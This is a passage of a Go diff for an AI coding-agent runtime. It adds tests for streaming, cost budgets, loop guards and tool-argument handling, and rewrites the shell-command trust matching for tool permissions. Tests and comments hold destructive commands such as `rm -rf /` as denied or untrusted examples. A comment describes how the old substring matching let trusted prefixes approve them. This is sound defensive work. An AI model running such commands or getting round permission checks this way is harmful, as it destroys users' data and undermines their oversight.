&apitypes.Usage{OutputTokens: 60}}, + apitypes.StreamEvent{Kind: "message_stop"}, + ) +} + +// openaiTextTurn mirrors the OpenAI-compat translation: no usage at start, +// everything in the final message_delta. +func openaiTextTurn(model, text string, in, out int) []apitypes.StreamEvent { + return []apitypes.StreamEvent{ + {Kind: "message_start", Message: &apitypes.MessageResponse{ID: "chatcmpl", Model: model}}, + {Kind: "content_block_start", Index: 0, ContentBlock: &apitypes.OutputContentBlock{Kind: "text"}}, + {Kind: "content_block_delta", Index: 0, BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: text}}, + {Kind: "content_block_stop", Index: 0}, + {Kind: "message_delta", Delta: &apitypes.DeltaPayload{StopReason: "end_turn"}, DeltaUsage: &apitypes.Usage{InputTokens: in, OutputTokens: out}}, + {Kind: "message_stop"}, + } +} + +func drain(t *testing.T, ch <-chan apitypes.StreamEvent) []apitypes.StreamEvent { + t.Helper() + var out []apitypes.StreamEvent + timeout := time.After(5 * time.Second) + for { + select { + case ev, ok := <-ch: + if !ok { + return out + } + out = append(out, ev) + case <-timeout: + t.Fatal("runtime stream did not close") + } + } +} + +func eventKinds(events []apitypes.StreamEvent) []string { + out := make([]string, len(events)) + for i, ev := range events { + out[i] = ev.Kind + } + return out +} + +func TestStreamTurnRecordsInputTokensFromMessageStart(t *testing.T) { + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{anthropicTextTurn("claude-sonnet-4-6", "Hello", 25, 15)}} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: NewStaticExecutor(), Model: "sonnet"}) + + ch, err := rt.StreamUserMessage(context.Background(), "hi") + if err != nil { + t.Fatal(err) + } + events := drain(t, ch) + if len(events) != 6 { + t.Fatalf("expected the 6 provider events forwarded verbatim, got %v", eventKinds(events)) + } + + u := rt.GetUsage() + if u.InputTokens != 25 || u.OutputTokens != 15 || u.CacheReadInputTokens != 7 || u.Turns != 1 { + t.Errorf("usage = %+v; input and cache counters come from message_start, output from message_delta", u) + } + // Attributed to the model the provider served, not the alias requested. + models := u.Models() + if len(models) != 1 || models[0].Model != "claude-sonnet-4-6" { + t.Errorf("ledger = %v, want claude-sonnet-4-6", names(models)) + } + + // The reply was appended to the session as an assistant text turn. + session := rt.GetSession() + if len(session) != 2 || session[1].Role != "assistant" || session[1].Content[0].Text != "Hello" { + t.Errorf("session = %+v", session) + } + // Streaming requests must ask for the tools, the system prompt and the + // requested model; the served model is only used for the ledger. + if p.requests[0].Model != "sonnet" { + t.Errorf("request model = %q", p.requests[0].Model) + } +} + +func TestStreamTurnOpenAIShapeIsAttributedAndCounted(t *testing.T) { + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{openaiTextTurn("gpt-4o-2024-08-06", "Hi", 12, 4)}} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: NewStaticExecutor(), Model: "gpt-4o"}) + ch, _ := rt.StreamUserMessage(context.Background(), "hi") + drain(t, ch) + u := rt.GetUsage() + if u.InputTokens != 12 || u.OutputTokens != 4 || u.Models()[0].Model != "gpt-4o-2024-08-06" { + t.Errorf("usage = %+v ledger = %v", u, names(u.Models())) + } +} + +func TestStreamToolLoopExecutesToolAndFeedsResultBack(t *testing.T) { + var got map[string]interface{} + exec := NewStaticExecutor().Register("read_file", func(in map[string]interface{}) apitypes.ToolResult { + got = in + return apitypes.ToolResult{Output: "module example.com"} + }) + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{ + anthropicToolTurn("claude-sonnet-4-6", "toolu_1", "read_file", []string{"", `{"path": "go.`, `mod"}`}), + // A fallback chain could serve the second turn from another model; + // the ledger must show both. + openaiTextTurn("gpt-4o-mini", "It is example.com.", 500, 8), + }} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "sonnet", PermMode: DangerFullAccess}) + + ch, err := rt.StreamUserMessage(context.Background(), "what module is this?") + if err != nil { + t.Fatal(err) + } + events := drain(t, ch) + + // Both turns' events reach the consumer in order. + kinds := eventKinds(events) + if len(kinds) != 11+6 || kinds[0] != "message_start" || kinds[11] != "message_start" { + t.Fatalf("events = %v", kinds) + } + + // The tool saw the reassembled JSON, not the raw partials. + if !reflect.DeepEqual(got, map[string]interface{}{"path": "go.mod"}) { + t.Errorf("tool input = %v", got) + } + + // Session: user, assistant(text+tool_use), user(tool_result), assistant(text). + s := rt.GetSession() + if len(s) != 4 { + t.Fatalf("session has %d messages: %+v", len(s), s) + } + if s[1].Role != "assistant" || len(s[1].Content) != 2 || s[1].Content[1].Kind != "tool_use" || s[1].Content[1].ID != "toolu_1" || string(s[1].Content[1].Input) != `{"path": "go.mod"}` { + t.Errorf("assistant tool turn = %+v", s[1]) + } + if s[2].Role != "user" || s[2].Content[0].Kind != "tool_result" || s[2].Content[0].ToolUseID != "toolu_1" || s[2].Content[0].Content != "module example.com" || s[2].Content[0].IsError { + t.Errorf("tool result turn = %+v", s[2]) + } + if s[3].Content[0].Text != "It is example.com." { + t.Errorf("final turn = %+v", s[3]) + } + // The second request carried the whole conversation so far. + if len(p.requests) != 2 || len(p.requests[1].Messages) != 3 { + t.Errorf("second request had %d messages, want 3", len(p.requests[1].Messages)) + } + + u := rt.GetUsage() + if u.Turns != 2 || u.InputTokens != 900 || u.OutputTokens != 68 { + t.Errorf("usage = %+v", u) + } + if got := names(u.Models()); !reflect.DeepEqual(got, []string{"claude-sonnet-4-6", "gpt-4o-mini"}) { + t.Errorf("ledger = %v", got) + } +} + +func TestStreamToolLoopDeniedToolIsNotExecuted(t *testing.T) { + executed := false + exec := NewStaticExecutor().Register("bashtool", func(map[string]interface{}) apitypes.ToolResult { + executed = true + return apitypes.ToolResult{Output: "ran"} + }) + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{ + anthropicToolTurn("claude-sonnet-4-6", "toolu_2", "BashTool", []string{`{"command":"rm -rf /"}`}), + anthropicTextTurn("claude-sonnet-4-6", "Understood.", 10, 2), + }} + rt := NewConversationRuntime(RuntimeOptions{ + Provider: p, Executor: exec, Model: "sonnet", + PermMode: WorkspaceWrite, Prompter: &scriptedPrompter{allow: false}, + }) + ch, _ := rt.StreamUserMessage(context.Background(), "clean up") + drain(t, ch) + + if executed { + t.Fatal("denied tool must not run") + } + s := rt.GetSession() + if len(s) != 4 || s[2].Content[0].Kind != "tool_result" || !s[2].Content[0].IsError || s[2].Content[0].Content != "permission denied by user" { + t.Errorf("model should receive the denial as an error tool_result: %+v", s[2]) + } +} + +func TestStreamProviderErrorIsSurfacedAsErrorEvent(t *testing.T) { + p := &scriptedProvider{err: apitypes.NewMissingCredentials("Anthropic", "ANTHROPIC_API_KEY")} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: NewStaticExecutor(), Model: "sonnet"}) + ch, err := rt.StreamUserMessage(context.Background(), "hi") + if err != nil { + t.Fatalf("stream setup errors are delivered in-band, got %v", err) + } + events := drain(t, ch) + if len(events) != 1 || events[0].Kind != "error" || events[0].BlockDelta == nil || events[0].BlockDelta.Text == "" { + t.Fatalf("events = %+v", events) + } + if rt.GetUsage().Turns != 0 { + t.Error("a failed turn must not be counted") + } +} + +func TestSendLoopAttributesToRequestedModelWhenProviderReportsNone(t *testing.T) { + p := &scriptedProvider{responses: []*apitypes.MessageResponse{{ + Type: "message", Role: "assistant", + Content: []apitypes.OutputContentBlock{{Kind: "text", Text: "done"}}, + StopReason: "end_turn", + Usage: apitypes.Usage{InputTokens: 30, OutputTokens: 5}, + }}} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: NewStaticExecutor(), Model: "my-local-model"}) + resp, err := rt.SendUserMessage(context.Background(), "hi") + if err != nil || resp.Content[0].Text != "done" { + t.Fatalf("resp=%+v err=%v", resp, err) + } + u := rt.GetUsage() + if u.Turns != 1 || u.InputTokens != 30 || u.Models()[0].Model != "my-local-model" { + t.Errorf("usage = %+v ledger = %v", u, names(u.Models())) + } +} + +func TestSendLoopStopsAtMaxIterations(t *testing.T) { + toolResp := &apitypes.MessageResponse{Role: "assistant", StopReason: "tool_use", Content: []apitypes.OutputContentBlock{ + {Kind: "tool_use", ID: "t", Name: "noop", Input: json.RawMessage(`{}`)}, + }} + p := &scriptedProvider{responses: []*apitypes.MessageResponse{toolResp, toolResp, toolResp}} + exec := NewStaticExecutor().Register("noop", func(map[string]interface{}) apitypes.ToolResult { return apitypes.ToolResult{Output: "ok"} }) + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "m", MaxIterations: 2, PermMode: DangerFullAccess}) + + resp, err := rt.SendUserMessage(context.Background(), "loop") + if err != nil { + t.Fatal(err) + } + if resp.StopReason != "max_iterations" || len(p.requests) != 2 { + t.Errorf("stop=%q requests=%d, want max_iterations after 2", resp.StopReason, len(p.requests)) + } +} + +func TestMergeUsageKeepsBaseWhereDeltaIsSilent(t *testing.T) { + base := apitypes.Usage{InputTokens: 25, OutputTokens: 1, CacheReadInputTokens: 7} + got := mergeUsage(base, apitypes.Usage{OutputTokens: 15}) + want := apitypes.Usage{InputTokens: 25, OutputTokens: 15, CacheReadInputTokens: 7} + if got != want { + t.Errorf("anthropic-style merge = %+v, want %+v", got, want) + } + got = mergeUsage(apitypes.Usage{}, apitypes.Usage{InputTokens: 12, OutputTokens: 4}) + if got != (apitypes.Usage{InputTokens: 12, OutputTokens: 4}) { + t.Errorf("openai-style merge = %+v", got) + } + if servedModel("", "req") != "req" || servedModel("served", "req") != "served" { + t.Error("servedModel precedence") + } +} + +// repeatTurns returns n copies of the same tool turn: a model that never +// changes its mind. +func repeatTurns(n int, turn []apitypes.StreamEvent) [][]apitypes.StreamEvent { + out := make([][]apitypes.StreamEvent, n) + for i := range out { + out[i] = turn + } + return out +} + +func toolResults(session []apitypes.InputMessage) []apitypes.InputContentBlock { + var out []apitypes.InputContentBlock + for _, m := range session { + for _, b := range m.Content { + if b.Kind == "tool_result" { + out = append(out, b) + } + } + } + return out +} + +func TestLoopGuardWarnsThenStopsAnIdenticalToolLoop(t *testing.T) { + calls := 0 + exec := NewStaticExecutor().Register("read_file", func(map[string]interface{}) apitypes.ToolResult { + calls++ + return apitypes.ToolResult{Output: "same contents"} + }) + turn := anthropicToolTurn("claude-sonnet-4-6", "toolu_x", "read_file", []string{`{"path":"a.go"}`}) + p := &scriptedProvider{streams: repeatTurns(30, turn)} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "sonnet", PermMode: DangerFullAccess, MaxIterations: 30}) + + ch, _ := rt.StreamUserMessage(context.Background(), "read a.go") + events := drain(t, ch) + + if calls != loopStopAfter { + t.Fatalf("tool ran %d times, want exactly %d (then halt), not the 30 max-turns", calls, loopStopAfter) + } + if len(p.requests) != loopStopAfter { + t.Errorf("model was called %d times, want %d", len(p.requests), loopStopAfter) + } + last := events[len(events)-1] + if last.Kind != "error" || last.BlockDelta == nil || !strings.Contains(last.BlockDelta.Text, "same result 5 times in a row") { + t.Errorf("halt not surfaced to the user: %+v", last) + } + + results := toolResults(rt.GetSession()) + if len(results) != loopStopAfter { + t.Fatalf("tool results in session = %d", len(results)) + } + // The first two identical results are delivered untouched; from the third + // the model is told, in the result it reads, that it is looping. + for i, r := range results { + warned := strings.Contains(r.Content, "[gocode] This exact tool call") + if want := i+1 >= loopWarnAfter; warned != want { + t.Errorf("result %d warned=%v, want %v: %q", i+1, warned, want, r.Content) + } + if !strings.HasPrefix(r.Content, "same contents") { + t.Errorf("result %d lost the real output: %q", i+1, r.Content) + } + } +} + +func TestLoopGuardResetsWhenOutputChangesOrCallsDiffer(t *testing.T) { + n := 0 + exec := NewStaticExecutor().Register("bashtool", func(map[string]interface{}) apitypes.ToolResult { + n++ + return apitypes.ToolResult{Output: fmt.Sprintf("poll %d", n)} // changes every time: not a loop + }) + turn := anthropicToolTurn("claude-sonnet-4-6", "toolu_p", "BashTool", []string{`{"command":"curl status"}`}) + streams := repeatTurns(8, turn) + streams = append(streams, anthropicTextTurn("claude-sonnet-4-6", "Done.", 5, 2)) + p := &scriptedProvider{streams: streams} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "sonnet", PermMode: DangerFullAccess, MaxIterations: 30}) + + drain(t, mustStream(t, rt, "poll until ready")) + if n != 8 { + t.Errorf("a poll with changing output was cut short after %d calls", n) + } + for _, r := range toolResults(rt.GetSession()) { + if strings.Contains(r.Content, "[gocode]") { + t.Fatalf("warned on non-identical results: %q", r.Content) + } + } + + // Alternating edit/test iterations are the normal fix loop and must never + // trip the guard even though each individual call recurs. + execAlt := NewStaticExecutor(). + Register("edit", func(map[string]interface{}) apitypes.ToolResult { return apitypes.ToolResult{Output: "edited"} }). + Register("test", func(map[string]interface{}) apitypes.ToolResult { return apitypes.ToolResult{Output: "FAIL"} }) + var alt [][]apitypes.StreamEvent + for i := 0; i < 5; i++ { + alt = append(alt, + anthropicToolTurn("m", "e", "edit", []string{`{"path":"x"}`}), + anthropicToolTurn("m", "t", "test", []string{`{"command":"go test"}`})) + } + alt = append(alt, anthropicTextTurn("m", "Fixed.", 5, 2)) + rt2 := NewConversationRuntime(RuntimeOptions{Provider: &scriptedProvider{streams: alt}, Executor: execAlt, Model: "m", PermMode: DangerFullAccess, MaxIterations: 30}) + events := drain(t, mustStream(t, rt2, "fix the test")) + if hasErrorEvent(events) { + t.Error("edit/test alternation was treated as a loop") + } + if len(rt2.GetSession()) != 1+2*10+1 { + t.Errorf("session length = %d, want all 10 tool turns plus the final text", len(rt2.GetSession())) + } +} + +func TestLoopGuardAppliesToTheNonStreamingLoopToo(t *testing.T) { + toolResp := &apitypes.MessageResponse{Role: "assistant", StopReason: "tool_use", Content: []apitypes.OutputContentBlock{ + {Kind: "tool_use", ID: "t", Name: "noop", Input: json.RawMessage(`{}`)}, + }} + var resps []*apitypes.MessageResponse + for i := 0; i < 30; i++ { + resps = append(resps, toolResp) + } + exec := NewStaticExecutor().Register("noop", func(map[string]interface{}) apitypes.ToolResult { return apitypes.ToolResult{Output: "ok"} }) + p := &scriptedProvider{responses: resps} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "m", MaxIterations: 30, PermMode: DangerFullAccess}) + + resp, err := rt.SendUserMessage(context.Background(), "loop") + if err != nil { + t.Fatal(err) + } + if resp.StopReason != "stuck" || len(p.requests) != loopStopAfter { + t.Errorf("stop=%q requests=%d, want stuck after %d", resp.StopReason, len(p.requests), loopStopAfter) + } + if !strings.Contains(resp.Content[0].Text, "Stopping") { + t.Errorf("message = %q", resp.Content[0].Text) + } +} + +func TestBudgetStopsBeforeRunningToolsAndKeepsSessionValid(t *testing.T) { + executed := false + exec := NewStaticExecutor().Register("read_file", func(map[string]interface{}) apitypes.ToolResult { + executed = true + return apitypes.ToolResult{Output: "x"} + }) + // One turn on Sonnet with 1M input tokens costs $3; the budget is $1. + turn := anthropicToolTurn("claude-sonnet-4-6", "toolu_b", "read_file", []string{`{"path":"a"}`}) + turn[0].Message.Usage = apitypes.Usage{InputTokens: 1_000_000} + p := &scriptedProvider{streams: repeatTurns(3, turn)} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "sonnet", PermMode: DangerFullAccess, MaxCostUSD: 1}) + + events := drain(t, mustStream(t, rt, "go")) + if executed { + t.Fatal("tools must not run once the budget is exhausted") + } + if len(p.requests) != 1 { + t.Errorf("model called %d times, want 1", len(p.requests)) + } + last := events[len(events)-1] + if last.Kind != "error" || !strings.Contains(last.BlockDelta.Text, "--max-cost limit of $1.00") || !strings.Contains(last.BlockDelta.Text, "cost $3.00") { + t.Errorf("budget halt not surfaced: %+v", last) + } + // The dangling tool_use got an error result, so the transcript is still + // acceptable to the API if the user continues. + results := toolResults(rt.GetSession()) + if len(results) != 1 || !results[0].IsError || !strings.HasPrefix(results[0].Content, "not executed:") { + t.Errorf("pending tool call was left unanswered: %+v", results) + } + + // A follow-up message in the same session halts before spending anything. + events = drain(t, mustStream(t, rt, "try again")) + if len(p.requests) != 1 { + t.Errorf("an exhausted session made another request (%d total)", len(p.requests)) + } + if len(events) != 1 || events[0].Kind != "error" { + t.Errorf("follow-up events = %v", eventKinds(events)) + } + + // Non-streaming path reports the same stop reason. + rt2 := NewConversationRuntime(RuntimeOptions{Provider: &scriptedProvider{responses: []*apitypes.MessageResponse{{ + Role: "assistant", Model: "claude-sonnet-4-6", StopReason: "end_turn", + Content: []apitypes.OutputContentBlock{{Kind: "text", Text: "hi"}}, + Usage: apitypes.Usage{InputTokens: 1_000_000}, + }}}, Executor: exec, Model: "sonnet", MaxCostUSD: 1}) + if resp, _ := rt2.SendUserMessage(context.Background(), "a"); resp.StopReason != "end_turn" { + t.Errorf("a turn with no tool calls completes even if it crossed the budget: %q", resp.StopReason) + } + if resp, _ := rt2.SendUserMessage(context.Background(), "b"); resp.StopReason != "budget_exceeded" { + t.Errorf("next turn should halt: %q", resp.StopReason) + } +} + +func TestBudgetIsUnlimitedByDefaultAndForUnpricedModels(t *testing.T) { + turn := anthropicTextTurn("my-finetune", "ok", 5_000_000, 10) + rt := NewConversationRuntime(RuntimeOptions{Provider: &scriptedProvider{streams: repeatTurns(2, turn)}, Executor: NewStaticExecutor(), Model: "my-finetune", MaxCostUSD: 0.01}) + drain(t, mustStream(t, rt, "a")) + if events := drain(t, mustStream(t, rt, "b")); hasErrorEvent(events) { + t.Error("an unpriced model cannot be budgeted and must not be halted") + } + rt2 := NewConversationRuntime(RuntimeOptions{Provider: &scriptedProvider{streams: repeatTurns(2, anthropicTextTurn("claude-sonnet-4-6", "ok", 5_000_000, 10))}, Executor: NewStaticExecutor(), Model: "sonnet"}) + drain(t, mustStream(t, rt2, "a")) + if events := drain(t, mustStream(t, rt2, "b")); hasErrorEvent(events) { + t.Error("MaxCostUSD zero must mean unlimited") + } +} + +func TestMalformedToolArgumentsAreReportedNotExecuted(t *testing.T) { + cases := []struct { + name string + input string + want string + }{ + {"truncated json from a stream", `{"path": "a.g`, "unexpected end of JSON input"}, + {"provider raw wrapper", `{"raw":"{\"path\": a.go}"}`, `{\"path\": a.go}`}, + {"array instead of object", `["a.go"]`, "cannot unmarshal array"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + executed := false + exec := NewStaticExecutor().Register("read_file", func(map[string]interface{}) apitypes.ToolResult { + executed = true + return apitypes.ToolResult{Output: "x"} + }) + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{ + anthropicToolTurn("m", "toolu_m", "read_file", []string{tc.input}), + anthropicTextTurn("m", "Sorry, resending.", 5, 2), + }} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "m", PermMode: DangerFullAccess}) + drain(t, mustStream(t, rt, "read")) + if executed { + t.Fatal("tool ran with garbage arguments") + } + results := toolResults(rt.GetSession()) + if len(results) != 1 || !results[0].IsError { + t.Fatalf("results = %+v", results) + } + for _, want := range []string{"was not run", "not valid JSON", tc.want, "Resend"} { + if !strings.Contains(results[0].Content, want) { + t.Errorf("error %q should mention %q", results[0].Content, want) + } + } + }) + } + + // A genuine "raw" parameter carrying valid JSON is not the wrapper. + got, malformed := parseToolInput(json.RawMessage(`{"raw":"{\"ok\":true}"}`)) + if malformed != "" || got["raw"] != `{"ok":true}` { + t.Errorf("valid-JSON raw param misclassified: %v %q", got, malformed) + } + if got, malformed := parseToolInput(nil); malformed != "" || len(got) != 0 { + t.Errorf("empty input: %v %q", got, malformed) + } + if got, malformed := parseToolInput(json.RawMessage(`null`)); malformed != "" || got == nil { + t.Errorf("null input must yield an empty map: %v %q", got, malformed) + } +} + +func mustStream(t *testing.T, rt *ConversationRuntime, text string) <-chan apitypes.StreamEvent { + t.Helper() + ch, err := rt.StreamUserMessage(context.Background(), text) + if err != nil { + t.Fatal(err) + } + return ch +} + +func hasErrorEvent(events []apitypes.StreamEvent) bool { + for _, ev := range events { + if ev.Kind == "error" { + return true + } + } + return false +} + +func TestEstimateSessionTokensCountsToolResults(t *testing.T) { + rt := NewConversationRuntime(RuntimeOptions{Provider: &scriptedProvider{}, Executor: NewStaticExecutor(), SystemPrompt: strings.Repeat("s", 400)}) + base := rt.EstimateSessionTokens() + if base != 100 { + t.Fatalf("system prompt alone = %d tokens, want 100", base) + } + // A 40KB tool result is ~10k tokens and was previously counted as zero. + rt.RestoreSession([]apitypes.InputMessage{ + apitypes.UserText("read it"), + {Role: "assistant", Content: []apitypes.InputContentBlock{{Kind: "tool_use", ID: "t", Name: "read_file", Input: json.RawMessage(`{"path":"a"}`)}}}, + apitypes.UserToolResult("t", strings.Repeat("x", 40_000), false), + }) + got := rt.EstimateSessionTokens() + if got < base+10_000 { + t.Errorf("estimate = %d; tool result content is not being counted", got) + } + // Images are deliberately excluded: base64 length is not a token count. + rt.RestoreSession([]apitypes.InputMessage{{Role: "user", Content: []apitypes.InputContentBlock{ + {Kind: "image", Source: &apitypes.ImageSource{Type: "base64", MediaType: "image/png", Data: strings.Repeat("A", 200_000)}}, + }}}) + if got := rt.EstimateSessionTokens(); got != base { + t.Errorf("image counted as %d tokens; base64 length must not be used", got-base) + } +} + +func TestInboxIsDeliveredBeforeEachTurnWithoutBreakingToolPairing(t *testing.T) { + // One message waits before the first turn; another arrives while the tool + // runs. Each must reach the model on the next request, and the tool_result + // must still directly follow its tool_use. + exec := NewStaticExecutor().Register("read_file", func(map[string]interface{}) apitypes.ToolResult { + return apitypes.ToolResult{Output: "contents"} + }) + queue := []string{"[message from planner-1]\nplan is ready"} + afterTool := false + inbox := func() []string { + out := queue + queue = nil + if afterTool { + afterTool = false + return append(out, "[message from main]\nhurry up") + } + return out + } + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{ + anthropicToolTurn("m", "toolu_1", "read_file", []string{`{"path":"a"}`}), + anthropicTextTurn("m", "Done.", 5, 2), + }} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: exec, Model: "m", PermMode: DangerFullAccess, Inbox: inbox}) + // The second message "arrives" once the tool has produced its result. + exec.Register("read_file", func(map[string]interface{}) apitypes.ToolResult { + afterTool = true + return apitypes.ToolResult{Output: "contents"} + }) + + drain(t, mustStream(t, rt, "go")) + + first := p.requests[0].Messages + if len(first) != 2 || first[0].Content[0].Text != "go" || first[1].Role != "user" || !strings.Contains(first[1].Content[0].Text, "plan is ready") { + t.Errorf("first request should carry the prompt then the waiting message: %+v", first) + } + second := p.requests[1].Messages + // prompt, inbox, assistant(tool_use), tool_result, inbox + if len(second) != 5 { + t.Fatalf("second request has %d messages: %+v", len(second), second) + } + if second[2].Role != "assistant" || second[3].Content[0].Kind != "tool_result" || second[3].Content[0].ToolUseID != "toolu_1" { + t.Errorf("tool_result must directly follow tool_use: %+v", second[2:4]) + } + if second[4].Role != "user" || !strings.Contains(second[4].Content[0].Text, "hurry up") { + t.Errorf("message that arrived during the tool call not delivered: %+v", second[4]) + } +} + +func TestNoInboxMeansNoExtraMessages(t *testing.T) { + p := &scriptedProvider{streams: [][]apitypes.StreamEvent{anthropicTextTurn("m", "hi", 1, 1)}} + rt := NewConversationRuntime(RuntimeOptions{Provider: p, Executor: NewStaticExecutor(), Model: "m"}) + drain(t, mustStream(t, rt, "hello")) + if len(p.requests[0].Messages) != 1 { + t.Errorf("without an inbox the request is just the prompt: %+v", p.requests[0].Messages) + } + empty := func() []string { return nil } + rt2 := NewConversationRuntime(RuntimeOptions{Provider: &scriptedProvider{streams: [][]apitypes.StreamEvent{anthropicTextTurn("m", "hi", 1, 1)}}, Executor: NewStaticExecutor(), Model: "m", Inbox: empty}) + drain(t, mustStream(t, rt2, "hello")) + if len(rt2.GetSession()) != 2 { + t.Errorf("an empty inbox must add nothing: %+v", rt2.GetSession()) + } +} diff --git a/internal/agent/trusted.go b/internal/agent/trusted.go index 20f4dd1..ff723f6 100644 --- a/internal/agent/trusted.go +++ b/internal/agent/trusted.go @@ -4,14 +4,21 @@ import ( "encoding/json" "os" "path/filepath" + "regexp" "strings" "sync" + "unicode" + "unicode/utf8" ) // TrustedToolStore manages a persistent list of trusted tool patterns. // Patterns can be: // - Exact tool name: "BashTool" — trusts this tool with any params -// - Tool + command prefix: "BashTool:git *" — trusts BashTool when command starts with "git" +// - Tool + prefix: "BashTool:git *" — trusts BashTool when the command starts +// with the word "git". A compound command is trusted only when every part +// of it is: "git add . && git commit" is, "git status; rm -rf /" is not. +// For search tools the prefix is matched against "pattern"; for file tools +// against the directory of "path". // - Wildcard: "*" — trusts everything (equivalent to --dangerously-skip-permissions) type TrustedToolStore struct { mu sync.RWMutex @@ -69,57 +76,230 @@ func (s *TrustedToolStore) Add(pattern string) { } // IsTrusted checks if a tool invocation matches any trusted pattern. +// +// input is the tool's JSON parameter object as the runtime hands it to +// Authorize. A "Tool:prefix" pattern is matched against the parameter the +// prefix was taken from when the user chose to trust it: the command's leading +// words, the search pattern, or the path's directory. It is never matched +// against the raw JSON text. The previous substring match meant "BashTool:ls *" +// approved `rm -rf ./tools` and "BashTool:git *" approved any command whose +// description mentioned git. func (s *TrustedToolStore) IsTrusted(toolName string, input string) bool { s.mu.RLock() defer s.mu.RUnlock() toolLower := strings.ToLower(toolName) + var prefixes []string for _, pattern := range s.patterns { - patLower := strings.ToLower(pattern) + patLower := strings.ToLower(strings.TrimSpace(pattern)) // Global wildcard — trust everything if patLower == "*" { return true } - // Exact tool name match (no colon) — trust this tool with any params - if !strings.Contains(patLower, ":") { - if patLower == toolLower { - return true - } + pTool, pPrefix, hasPrefix := strings.Cut(patLower, ":") + if strings.TrimSpace(pTool) != toolLower { continue } - // Tool:prefix pattern — trust tool when input contains the prefix - parts := strings.SplitN(patLower, ":", 2) - if len(parts) != 2 { - continue + // Bare tool name — trust this tool with any params + if !hasPrefix { + return true } - pTool := strings.TrimSpace(parts[0]) - pPrefix := strings.TrimSpace(parts[1]) - if pTool != toolLower { + // "Tool:git *" and "Tool:git" both mean "starts with git". A pattern + // with nothing after the colon is malformed and trusts nothing; the + // bare tool name is how "any params" is spelled. + pPrefix = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(pPrefix), " *")) + if pPrefix == "" { continue } + prefixes = append(prefixes, pPrefix) + } + if len(prefixes) == 0 { + return false + } + return parseTrustFields(input).trustedBy(prefixes) +} + +// trustFields holds the parameters a trust prefix can be matched against, +// lowercased to match the lowercased patterns. +type trustFields struct { + command string + pattern string + path string // cleaned, so "src/../etc" cannot pass as "src" + raw string // set only when input is not a JSON object +} + +func parseTrustFields(input string) *trustFields { + f := &trustFields{} + var m map[string]interface{} + if err := json.Unmarshal([]byte(input), &m); err != nil || m == nil { + // Not the runtime's JSON object. Treat the whole string as a command + // so a caller passing a raw command line still gets prefix semantics. + f.raw = strings.ToLower(strings.TrimSpace(input)) + return f + } + if v, ok := m["command"].(string); ok { + f.command = strings.ToLower(strings.TrimSpace(v)) + } + if v, ok := m["pattern"].(string); ok { + f.pattern = strings.ToLower(v) + } + if v, ok := m["path"].(string); ok && v != "" { + f.path = strings.ToLower(filepath.Clean(v)) + } + return f +} - // Wildcard suffix: "BashTool:git *" matches any command starting with "git" - if strings.HasSuffix(pPrefix, " *") { - cmdPrefix := strings.TrimSuffix(pPrefix, " *") - if strings.Contains(strings.ToLower(input), cmdPrefix) { - return true +// trustedBy reports whether the parameters are covered by the tool's trusted +// prefixes. A command line must be covered in full (see commandTrusted); a +// search pattern or path needs any one prefix to match. +func (f *trustFields) trustedBy(prefixes []string) bool { + if f.raw != "" { + return commandTrusted(f.raw, prefixes) + } + if f.command != "" && commandTrusted(f.command, prefixes) { + return true + } + for _, p := range prefixes { + if f.pattern != "" && strings.HasPrefix(f.pattern, p) { + return true + } + if f.path != "" && dirPrefix(f.path, p) { + return true + } + } + return false +} + +// commandTrusted reports whether every command on a shell line starts with a +// trusted prefix. The line is split where the shell would start a new +// command (; && || | & and newlines) and each piece must match on its own, +// so "git status; rm -rf /" is not covered by "git *" and "git log | head" +// needs "head *" as well. Command substitution runs something the prefix +// does not describe, and redirection writes somewhere it does not describe; +// neither is auto-trusted, except the redirections that only discard output +// or join file descriptors. +func commandTrusted(cmd string, prefixes []string) bool { + if strings.Contains(cmd, "`") || strings.Contains(cmd, "$(") { + return false + } + for _, seg := range splitShellCommands(cmd) { + seg = strings.TrimSpace(seg) + if seg == "" { + continue // "git status;" or "cmd &": nothing runs in the empty piece + } + if hasWritingRedirect(seg) { + return false + } + matched := false + for _, p := range prefixes { + if wordPrefix(seg, p) { + matched = true + break } - continue } + if !matched { + return false + } + } + return true +} - // Exact prefix match - if strings.Contains(strings.ToLower(input), pPrefix) { - return true +// splitShellCommands splits on the operators that separate commands. A "&" +// that is part of a redirection ("2>&1", "&>/dev/null") is left alone. +func splitShellCommands(cmd string) []string { + var out []string + var cur strings.Builder + flush := func() { + out = append(out, cur.String()) + cur.Reset() + } + for i := 0; i < len(cmd); i++ { + c := cmd[i] + switch { + case c == ';' || c == '\n': + flush() + case c == '|': + if i+1 < len(cmd) && cmd[i+1] == '|' { + i++ + } + flush() + case c == '&': + prevRedirect := i > 0 && cmd[i-1] == '>' + nextRedirect := i+1 < len(cmd) && cmd[i+1] == '>' + if prevRedirect || nextRedirect { + cur.WriteByte(c) + continue + } + if i+1 < len(cmd) && cmd[i+1] == '&' { + i++ + } + flush() + default: + cur.WriteByte(c) + } + } + flush() + return out +} + +// redirectRe matches an output redirection and its target: ">file", +// ">> log", "2>&1", "&>/dev/null". +var redirectRe = regexp.MustCompile(`(\d?&?>>?&?)\s*(\S+)`) + +// hasWritingRedirect reports whether a command segment redirects output to a +// file. Sending output to /dev/null or to another file descriptor is not +// writing a file and stays trusted. +func hasWritingRedirect(seg string) bool { + for _, m := range redirectRe.FindAllStringSubmatch(seg, -1) { + op, target := m[1], m[2] + if target == 